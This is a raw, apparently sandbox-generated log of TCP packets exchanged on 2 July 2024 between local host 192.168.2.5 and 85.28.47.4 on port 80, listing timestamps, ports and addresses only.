Jul 2, 2024 04:12:06.080775023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080780029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080791950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080796003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080812931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080815077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080826998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080831051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080845118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080849886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080861092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080868959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080877066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080879927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080893993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080900908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080914974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080918074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080930948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080929995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080946922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080959082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080967903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.080975056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080991030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.080996990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081008911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081010103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081022024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081024885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081038952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081043959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081052065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081051111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081072092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081075907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081090927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081093073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081104994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081109047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081125021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081129074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081139088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081141949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081155062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081155062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081175089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081178904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081190109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081198931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081206083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081209898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081222057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081224918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081242085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081245899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081255913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081271887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081275940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081280947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081291914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081295967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081311941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081314087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081321955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081329107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081341982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081351995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081370115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081381083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081387997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081402063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081418991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081427097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081432104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081437111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081448078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081449986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081466913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081471920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081484079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081486940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081507921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081516981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081526041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081526995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081551075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081552029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081562042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081571102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081583023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081602097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081621885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081634045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081649065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081659079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081660032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081676960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081681013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081691980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081717014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081830978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081841946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081859112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081871033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081892014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081897974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081907988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081923962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081933022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081938982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.081952095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081960917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.081983089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082015991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082026005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082041979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082051992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082053900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082071066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082079887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082086086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082103014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082106113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082115889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082129955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082139015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082149029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082156897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082168102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082185030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082189083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082195044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082200050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082218885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082231045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082228899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082247972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082257986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082273960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082292080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.082498074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.082534075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.155936956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.155983925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.155999899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156018019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156018972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156033039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156040907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156054974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156078100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156090021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156160116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156171083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156188011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156197071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156204939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156213999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156227112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156234026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156245947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156253099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156260014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156275034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156277895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.156294107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.156316996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169567108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169589043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169599056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169624090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169634104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169639111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169667959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169672012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169680119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169706106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169720888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169749022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169759989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169775963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169789076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169789076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169812918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169832945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169845104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169864893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169878006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169881105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169897079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169900894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169910908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169917107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169933081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169934988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169946909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.169949055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169967890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.169982910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170068026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170078993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170097113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170101881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170116901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170118093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170134068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170134068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170147896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170164108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170170069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170170069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170177937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170192957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170212030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170222044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170238972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170248985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170243979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170258999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170273066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170277119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170288086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170288086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170309067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170309067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170327902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170327902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170339108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170358896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170407057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170423985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170433044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170443058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170453072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170459032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170470953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170474052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170485020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170488119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170501947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170507908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170519114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170523882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170542002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170545101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170556068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170577049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170757055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170769930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170790911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170803070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170818090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170830965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170845985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170855045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170861006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170871019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170876026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170886040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170892000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170901060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170914888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170927048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170933962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170942068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170958042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170962095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170968056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170979023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.170989037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.170989990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171000004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171010017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171020031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171020985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171036005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171040058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171051979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171052933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171065092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171073914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171086073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171094894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171108961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171111107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171123981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171127081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171139956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171145916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171156883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171156883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171171904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171173096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171188116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171194077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171202898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171205044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171226025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171233892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171240091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171268940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171328068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171339035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171355963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171366930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171370029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171391010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171400070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171412945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171417952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171427011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171437979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171441078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171456099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171463013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171466112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171478987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171485901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171497107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171499968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171511889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171519041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171534061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171551943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171581030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171591997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171608925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171619892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171617985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171638966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171644926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171652079 CEST	80	49704	85.28.47.4	192.168.2.5
